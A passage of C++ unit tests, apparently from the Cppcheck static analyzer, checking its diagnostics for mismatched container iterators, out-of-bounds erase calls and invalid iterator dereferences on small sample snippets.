iterator19() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (it1 != l1.end())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:7:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (l1.end() > it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:7] -> [test.cpp:4]: (error) Same iterator is used with containers 'l1' that are defined in different scopes.\\n\",\n \"[test.cpp:7:19] -> [test.cpp:7:13]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\"\n \"[test.cpp:7:22]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:7:40]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set g() {\\n\"\n \" static const std::set s = {1};\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g().find(2) == g().end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:17] -> [test.cpp:6:10]: (error) Same iterator is used with containers 'g()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set f() {\\n\" // #5804\n \" std::set s;\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" for (std::set::iterator it = f().begin(); it != f().end(); ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:53] -> [test.cpp:6:41]: (error) Same iterator is used with containers 'f()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n }\n\n void iterator20() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = it2;\\n\"\n \" while (it1 != l1.end())\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::list l3;\\n\"\n \"std::list::iterator bar()\\n\"\n \"{\\n\"\n \" return l3.end();\\n\"\n \"}\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = bar();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:13] -> [test.cpp:10] -> [test.cpp:11]: (error) Comparison of iterators from containers 'l1' and 'l2'.\\n\", \"\", errout_str());\n\n }\n\n void iterator21() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2 && it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\", // duplicate\n errout_str());\n }\n\n void iterator22() { // #7107\n check(\"void foo() {\\n\"\n \" std::list &l = x.l;\\n\"\n \" std::list::iterator it = l.find(123);\\n\"\n \" x.l.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator23() { // #9550\n check(\"struct A {\\n\"\n \" struct B {\\n\"\n \" bool operator==(const A::B& b) const;\\n\"\n \" int x;\\n\"\n \" int y;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool A::B::operator==(const A::B& b) const {\\n\"\n \" return std::tie(x, y, z) == std::tie(b.x, b.y, b.z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator24() {\n // #9556\n check(\"void f(int a, int b) {\\n\"\n \" if (&a == &b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator25() {\n // #9742\n check(\"struct S {\\n\"\n \" std::vector& v;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" bool operator()(const S& lhs, const S& rhs) const {\\n\"\n \" return &lhs.v != &rhs.v;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator26() { // #9176\n check(\n \"#include \\n\"\n \"int main()\\n\"\n \"{\"\n \" std::map m{ {\\\"a\\\", 1} };\\n\"\n \" if (auto iter = m.find(\\\"x\\\"); iter != m.end()) {\\n\"\n \" return iter->second;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator27() {\n // #10378\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"int f(std::map m) {\\n\"\n \" auto it = m.find( 1 );\\n\"\n \" const int a( it == m.cend() ? 0 : it->second.a );\\n\"\n \" const int b( it == m.cend() ? 0 : it->second.b );\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator28()\n {\n // #10450\n check(\"struct S {\\n\"\n \" struct Private {\\n\"\n \" std::list l;\\n\"\n \" };\\n\"\n \" std::unique_ptr p;\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int S::foo() {\\n\"\n \" for(auto iter = p->l.begin(); iter != p->l.end(); ++iter) {\\n\"\n \" if(*iter == 1) {\\n\"\n \" p->l.erase(iter);\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:24]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void iterator29()\n {\n // #11511\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto v = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g()' is used with container 'v'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g(int);\\n\"\n \"void f(int i, int j) {\\n\"\n \" auto& r = g(i);\\n\"\n \" auto it = g(j).begin();\\n\"\n \" while (it != g(j).end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g(j)' is used with container 'r'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto& r = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator30()\n {\n check(\"struct S {\\n\" // #12641\n \" bool b;\\n\"\n \" std::list A, B;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::list::iterator i = (b ? B : A).begin();\\n\"\n \" while (i != (b ? B : A).end()) {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator31()\n {\n check(\"struct S {\\n\" // #13327\n \" std::string a;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \"};\\n\"\n \"bool f(const S& s) {\\n\"\n \" std::string b;\\n\"\n \" return s.a.c_str() == b.c_str();\\n\"\n \"}\\n\"\n \"bool g(const T& t) {\\n\"\n \" std::string b;\\n\"\n \" return t.s.a.c_str() == b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:13]: (error) Iterators of different containers 's.a' and 'b' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:13:15]: (error) Iterators of different containers 't.s.a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iteratorExpression() {\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(f().begin(), g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" auto size = f().end() - g().begin();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:26]: (error) Iterators of different containers 'A().f()' and 'A().g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A{} .f().begin(), A{} .g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:27]: (error) Iterators of different containers 'A{}.f()' and 'A{}.g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(begin(f()), end(g()), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:28]: (warning) Iterators to containers from different expressions 'f()' and 'g()' are used together. [mismatchingContainerExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().f().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(bar(f().begin()) == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" auto it = f().end() - 1;\\n\"\n \" f().begin() - it;\\n\"\n \" f().begin()+1 - it;\\n\"\n \" f().begin() - (it + 1);\\n\"\n \" f().begin() - f().end();\\n\"\n \" f().begin()+1 - f().end();\\n\"\n \" f().begin() - (f().end() + 1);\\n\"\n \" (void)std::find(f().begin(), it, 0);\\n\"\n \" (void)std::find(f().begin(), it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it, 0);\\n\"\n \" (void)std::find(f().begin(), f().end(), 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end(), 0);\\n\"\n \" (void)std::find(f().begin(), f().end() - 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end() - 1, 0);\\n\"\n \" (void)std::find(begin(f()), end(f()));\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()), 0);\\n\"\n \" (void)std::find(begin(f()), end(f()) - 1, 0);\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()) - 1, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:30]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == f().end()) {}\\n\"\n \" if(f().begin() == f().end()+1) {}\\n\"\n \" if(f().begin()+1 == f().end()) {}\\n\"\n \" if(f().begin()+1 == f().end()+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:34]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(std::begin(f()) == std::end(f())) {}\\n\"\n \" if(std::begin(f()) == std::end(f())+1) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:42]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f<1>().begin() == f<1>().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a.begin().x == b.begin().x) {}\\n\"\n \" if (begin(a).x == begin(b).x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list a, std::list b) {\\n\"\n \" if (*a.begin() == *b.begin()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(f().begin(1) == f().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const uint8_t* data, const uint32_t dataLength) {\\n\"\n \" const uint32_t minimumLength = sizeof(uint16_t) + sizeof(uint16_t);\\n\"\n \" if (dataLength >= minimumLength) {\\n\"\n \" char* payload = new char[dataLength - minimumLength];\\n\"\n \" std::copy(&data[minimumLength], &data[dataLength], payload);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& a, const std::vector& b) {\\n\" // #11469\n \" return (a.begin() - a.end()) == (b.begin() - b.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11469\n \" const std::vector* vec() const { return &v; }\\n\"\n \" const std::vector v;\\n\"\n \"};\\n\"\n \"void f(const S& a, const S& b) {\\n\"\n \" if (a.vec()->begin() - a.vec()->end() != b.vec()->begin() - b.vec()->end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iteratorSameExpression() {\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.begin(), v.begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().begin(), g().begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.end(), v.end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().end(), g().end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector::iterator g();\\n\"\n \"void f(std::vector v) {\\n\"\n \" std::for_each(g(), g(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\"\n \" std::for_each(it, it, [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n }\n\n void mismatchingContainerIterator() {\n check(\"std::vector to_vector(int value) {\\n\"\n \" std::vector a, b;\\n\"\n \" a.insert(b.end(), value);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Iterator 'b.end()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector f(std::vector a, std::vector b) {\\n\"\n \" a.erase(b.begin());\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Iterator 'b.begin()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n // #9973\n check(\"void f() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list& l = l2;\\n\"\n \" for (auto it = l.begin(); it != l.end(); ++it) {\\n\"\n \" if (*it == 1) {\\n\"\n \" l.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #10012\n check(\"struct a {\\n\"\n \" int b;\\n\"\n \" int end() { return b; }\\n\"\n \"};\\n\"\n \"void f(a c, a d) {\\n\"\n \" if (c.end() == d.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10467\n check(\"void f(std::array, N>& A) {\\n\"\n \" for (auto& a : A) {\\n\"\n \" auto it = std::find_if(a.begin(), a.end(), \\n\"\n \" [](auto i) { return i == 0; });\\n\"\n \" if (it != a.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10604\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(S& s, int m) {\\n\"\n \" s.v.erase(s.v.begin() + m);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11093\n check(\"struct S {\\n\"\n \" std::vector v1, v2;\\n\"\n \" void f(bool b) {\\n\"\n \" std::vector& v = b ? v1 : v2;\\n\"\n \" v.erase(v.begin());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12377\n check(\"void f(bool b) {\\n\"\n \" std::vector *pv;\\n\"\n \" if (b) {\\n\"\n \" std::vector& r = get1();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" std::vector& r = get2();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" std::vector::iterator it = pv->begin();\\n\"\n \" it = pv->erase(it, it + 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() {\\n\"\n \" std::vector* p = &v;\\n\"\n \" p->insert(std::find(p->begin(), p->end(), 0), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f(int i) {\\n\"\n \" std::vector* p = &v;\\n\"\n \" if (p->size() > i)\\n\"\n \" p->erase(p->begin() + i, p->end());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11067\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" std::list::const_iterator> li;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" v.erase(*li.begin());\\n\"\n \" li.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set& a, std::stack::iterator>& b) {\\n\"\n \" while (!b.empty()) {\\n\"\n \" a.erase(b.top());\\n\"\n \" b.pop();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& a, std::vector::iterator>& b) {\\n\"\n \" auto it = b.begin();\\n\"\n \" a.erase(*it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12443\n \" std::vector v;\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"void f() {\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it != N::v.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void* p) {\\n\" // #12445\n \" std::vector&v = *(std::vector*)(p);\\n\"\n \" v.erase(v.begin(), v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13408\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& i : v) {\\n\"\n \" if (std::distance(&*v.cbegin(), &i)) {}\\n\"\n \" } \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIteratorOutOfBounds() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.end()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.end();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.end() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.begin() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()-1' which is out of bounds. [eraseIteratorOutOfBounds]\\n\"\n \"[test.cpp:3:23]: (error) Dereference of an invalid iterator: v.begin()-1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, std::vector::iterator it) {\\n\"\n \" if (it == v.end()) {}\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Either the condition 'it==v.end()' is redundant or function 'erase()' is called on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" ((v).erase)(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n // Dereferencing invalid pointer\n void dereference() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:5] -> [test.cpp:6] -> [test.cpp:3] -> [test.cpp:7]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:5:22] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // #6554 \"False positive eraseDereference - erase in while() loop\"\n check(\"typedef std::map packetMap;\\n\"\n \"packetMap waitingPackets;\\n\"\n \"void ProcessRawPacket() {\\n\"\n \" packetMap::iterator wpi;\\n\"\n \" while ((wpi = waitingPackets.find(lastInOrder + 1)) != waitingPackets.end()) {\\n\"\n \" waitingPackets.erase(wpi);\\n\"\n \" for (unsigned pos = 0; pos < buf.size(); ) { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8509 Uniform initialization ignored for iterator\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator iter {ints.cbegin()};\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_break() { // #3644\n check(\"void f(std::vector &ints) {\\n\"\n \" std::vector::iterator iter;\\n\"\n \" for (iter=ints.begin();iter!=ints.end();++iter) {\\n\"\n \" if (*iter == 2) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (*iter == 3) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_member() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" 